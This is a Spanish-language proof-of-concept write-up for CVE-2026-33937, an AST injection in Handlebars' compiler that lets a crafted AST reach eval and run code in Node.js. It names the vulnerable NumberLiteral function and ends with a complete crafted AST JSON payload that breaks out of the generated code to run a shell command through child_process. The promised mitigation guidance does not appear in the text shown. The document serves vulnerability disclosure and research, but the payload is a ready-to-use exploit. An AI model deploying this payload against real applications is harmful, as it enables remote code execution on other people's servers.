
Prueba de concepto del exploit para CVE-2026-33937, una vulnerabilidad de inyección en el AST de Handlebars que conduce a la ejecución remota de código en Node.js. Demuestra payloads de AST manipulados y proporciona orientación de mitigación.
CVE-2026-33937 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en Handlebars causada por el manejo inseguro de la entrada del Árbol de Sintaxis Abstracta (AST).
La vulnerabilidad permite a los atacantes inyectar código JavaScript arbitrario al proporcionar un objeto AST manipulado a Handlebars.compile().
Handlebars.compile() acepta tanto:
Cuando se proporciona un objeto AST, se omite la fase de análisis.
Dentro de:
lib/handlebars/compiler/javascript-compiler.js
La función:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
inserta directamente number.value en el código JavaScript generado , lo que conduce a la inyección de código.
Atacante → AST manipulado (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (inyección NumberLiteral)
│
▼
Generación de código
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}